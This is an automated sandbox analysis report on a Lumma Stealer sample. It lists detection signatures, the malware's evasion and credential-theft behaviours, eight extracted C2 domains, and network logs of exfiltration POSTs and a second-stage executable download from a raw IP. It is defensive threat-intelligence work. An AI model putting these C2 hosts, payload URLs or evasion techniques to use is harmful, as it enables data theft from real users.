Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1543330
MD5:	7e8f6d6eb856aab8b82676176035c78f
SHA1:	72d70bec6a141e294077ff50273c7b611095cf4f
SHA256:	a21df6df28630c19eabf468f3b4e1b6b95d451310619a79c0c8392298c86bf7c
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7680 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 7E8F6D6EB856AAB8B82676176035C78F)

TAW4YM7XHY64JPKK4AWZZOV.exe (PID: 8104 cmdline: "C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe" MD5: 571F62006068A39F4AD351EF6B397F8D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["navygenerayk.store", "thumbystriw.store", "necklacedmny.store", "presticitpo.store", "founpiuer.store", "crisiwarny.store", "fadehairucw.store", "scriptyprefej.store"], "Build id": "4SD0y4--legendaryy"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1490006976.0000000001927000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1467503932.0000000001927000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1508582893.00000000018D6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1520788007.0000000005E71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000000.00000003.1505216928.00000000018D5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1505216928.0000000001927000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1467390639.0000000001927000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1490006976.00000000018D5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1551938977.0000000005E71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000000.00000003.1505536352.00000000018D6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1505536352.0000000001927000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1521839857.0000000005E71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000000.00000003.1508552491.000000000192D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7680	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7680	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7680	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 12 entries

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T17:55:05.805256+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49705	104.21.95.91	443	TCP
2024-10-27T17:55:06.957843+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49706	104.21.95.91	443	TCP
2024-10-27T17:55:18.024908+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49712	104.21.95.91	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T17:55:05.805256+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49705	104.21.95.91	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T17:55:06.957843+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49706	104.21.95.91	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T17:55:18.941391+0100	2019714	2	Potentially Bad Traffic	192.168.2.8	49713	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T17:55:13.706093+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49710	104.21.95.91	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T17:55:14.949530+0100	2843864	1	A Network Trojan was detected	192.168.2.8	49711	104.21.95.91	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: file.exe.7680.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["navygenerayk.store", "thumbystriw.store", "necklacedmny.store", "presticitpo.store", "founpiuer.store", "crisiwarny.store", "fadehairucw.store", "scriptyprefej.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe

ReversingLabs: Detection: 34%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1630512286.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: scriptyprefej.store
Source: 00000000.00000002.1630512286.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: navygenerayk.store
Source: 00000000.00000002.1630512286.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: founpiuer.store
Source: 00000000.00000002.1630512286.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: necklacedmny.store
Source: 00000000.00000002.1630512286.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: thumbystriw.store
Source: 00000000.00000002.1630512286.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: fadehairucw.store
Source: 00000000.00000002.1630512286.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: crisiwarny.store
Source: 00000000.00000002.1630512286.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.1630512286.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.1630512286.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1630512286.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1630512286.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1630512286.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1630512286.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1630512286.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 4SD0y4--legendaryy

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49712 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: TAW4YM7XHY64JPKK4AWZZOV.exe, 00000003.00000002.1780411163.0000000000CE2000.00000040.00000001.01000000.00000006.sdmp, TAW4YM7XHY64JPKK4AWZZOV.exe, 00000003.00000003.1646839499.0000000004D90000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49705 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49705 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49706 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49706 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49712 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49710 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.8:49711 -> 104.21.95.91:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: scriptyprefej.store

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 27 Oct 2024 16:55:18 GMTContent-Type: application/octet-streamContent-Length: 2793472Last-Modified: Sun, 27 Oct 2024 16:23:20 GMTConnection: keep-aliveETag: "671e68f8-2aa000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 1e 35 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 66 65 74 6d 6a 63 6d 00 40 2a 00 00 a0 00 00 00 40 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 66 6c 67 77 68 78 79 00 20 00 00 00 e0 2a 00 00 04 00 00 00 7a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2b 00 00 22 00 00 00 7e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 104.21.95.91 104.21.95.91
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49713 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12851Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15080Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20247Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1250Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 553920Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: crisiwarny.store

Source: file.exe, 00000000.00000002.1639983575.00000000018D0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1628840769.00000000018CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.1629869915.0000000001938000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1640149483.0000000001938000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1628840769.0000000001923000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1640014748.0000000001927000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1639481452.00000000014FA000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000003.1629505347.0000000001938000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.1628840769.0000000001923000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1640014748.0000000001927000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeDa
Source: file.exe, 00000000.00000003.1629265756.000000000189E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1639820061.000000000189E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exerosoft
Source: file.exe, 00000000.00000003.1490608854.0000000005F7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1490608854.0000000005F7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1505216928.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1508582893.00000000018D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454225148.00000000018EF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1467503932.00000000018D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441606295.00000000018EF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520668931.00000000018D8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1521712621.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1490006976.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505536352.00000000018D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1551618459.0000000001922000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1467390639.00000000018D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: file.exe, 00000000.00000003.1490608854.0000000005F7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1490608854.0000000005F7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1490608854.0000000005F7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1490608854.0000000005F7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1490608854.0000000005F7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
